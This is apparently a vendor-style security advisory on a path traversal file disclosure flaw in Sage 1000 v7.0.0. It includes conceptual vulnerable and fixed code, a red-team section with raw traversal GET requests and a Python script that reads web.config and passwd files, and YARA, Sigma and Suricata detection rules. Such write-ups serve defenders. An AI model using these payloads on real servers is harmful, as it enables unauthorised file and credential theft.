CVE-2024-48647

Executive Summary

CVE-2024-48647 is a critical file disclosure vulnerability affecting Sage 1000 v7.0.0. The flaw allows remote, unauthenticated attackers to read arbitrary files from the server's filesystem by manipulating URL parameters in HTTP requests. This can lead to the exposure of sensitive configuration files containing credentials and system settings, potentially enabling further compromise of the server. No official patch or advisory has been released by Sage at this time.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a server-side application vulnerability in a proprietary enterprise resource planning (ERP) system.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High. The vulnerability is easily exploitable remotely without authentication and can expose sensitive data.

Deep Dive & Mechanics

The vulnerability resides in how Sage 1000 v7.0.0 handles URL parameters. The application fails to properly sanitize user-supplied input used to construct file paths. By injecting path traversal sequences (e.g., ../), an attacker can navigate outside the intended web root directory and read arbitrary files.

Example vulnerable parameter: ?file=

Attack vector: An attacker sends a crafted HTTP GET request to the Sage 1000 server, manipulating the vulnerable parameter to include path traversal sequences.

Impact: Successful exploitation allows the attacker to read sensitive files such as:

• Configuration files (e.g., web.config, appsettings.json)
• Database connection strings
• Credential files
• System files (e.g., /etc/passwd on Linux)
• Application source code

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses user input to read a file
string filePath = Request.QueryString["file"];
string content = File.ReadAllText(filePath);
Response.Write(content);

Patched Code (Conceptual):

// Patched: Validates and restricts file path to a safe directory
string userInput = Request.QueryString["file"];
string safePath = Path.Combine(Server.MapPath("~/SafeDirectory"), userInput);
safePath = Path.GetFullPath(safePath);

// Ensure the resolved path is within the allowed directory
if (!safePath.StartsWith(Server.MapPath("~/SafeDirectory")))
{
    throw new SecurityException("Invalid file path.");
}

string content = File.ReadAllText(safePath);
Response.Write(content);

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Sage 1000 v7.0.0 in a controlled environment.
2. Ensure the server is accessible over the network.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., ?file=).
2. Craft a request to read a sensitive file:

   GET /?file=../../../Windows/System32/drivers/etc/hosts HTTP/1.1
   Host: target-sage-server
   

3. Alternatively, read configuration files:

   GET /?file=../web.config HTTP/1.1
   Host: target-sage-server
   

4. Automate the process using a script:

import requests

target = "http://target-sage-server"
payloads = [
    "../web.config",
    "../../../etc/passwd",
    "../../../Windows/win.ini"
]

for payload in payloads:
    url = f"{target}/?file={payload}"
    response = requests.get(url)
    if response.status_code == 200 and len(response.text) > 0:
        print(f"[+] Success: {payload}")
        print(response.text[:500])

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious URL patterns containing ../ or ..\\.
2. Alert on requests to sensitive file paths (e.g., web.config, passwd, boot.ini).
3. Implement Web Application Firewall (WAF) rules to block path traversal attempts.
4. Conduct regular vulnerability scans to identify unpatched systems.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests containing ../ or ..\\ in the URL parameter.
  • Requests to files outside the web root (e.g., /etc/passwd, C:\Windows\win.ini).
  • Unusual outbound data transfers from the Sage 1000 server.
• File System IOCs:
  • Unexpected access to configuration files (e.g., web.config, appsettings.json).
  • Presence of new files in the web root directory (e.g., exfiltrated data).
• Log IOCs:
  • Web server logs showing 200 OK responses to path traversal attempts.
  • Error logs indicating failed attempts to read restricted files.

Detection Engineering

YARA Rule

rule CVE_2024_48647_Sage_1000_File_Disclosure {
    meta:
        description = "Detects path traversal attempts targeting Sage 1000 v7.0.0"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-48647"
    strings:
        $path_traversal1 = /\.\.\/\.\.\/\.\.\// nocase
        $path_traversal2 = /\.\.\\\.\.\\\.\.\\/ nocase
        $sensitive_file1 = /web\.config/i
        $sensitive_file2 = /passwd/i
        $sensitive_file3 = /boot\.ini/i
    condition:
        any of ($path_traversal*) and any of ($sensitive_file*)
}

Sigma Rule

title: CVE-2024-48647 Sage 1000 File Disclosure Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Sage 1000 v7.0.0
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '..\\'
            - '../'
        cs-uri-query|endswith:
            - 'web.config'
            - 'passwd'
            - 'boot.ini'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in application logic (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2024-48647 Sage 1000 File Disclosure Attempt"; flow:to_server,established; content:".."; http_uri; pcre:"/(\.\.\/|\.\.\\)/i"; pcre:"/(web\.config|passwd|boot\.ini)/i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Sage 1000 v7.0.0 servers from the network until a patch is applied.
2. Implement WAF rules: Block requests containing path traversal sequences (../, ..\\) in URL parameters.
3. Restrict file permissions: Ensure the web application runs with the least privileges necessary, limiting access to sensitive files.
4. Monitor logs: Actively monitor web server logs for exploitation attempts.

Long-term Fix:

1. Apply vendor patch: Contact Sage for an official patch or upgrade to a non-vulnerable version.
2. Code review: If source code is available, implement proper input validation and path sanitization as shown in the patched code example.
3. Regular updates: Keep all software up to date with the latest security patches.

Valters IT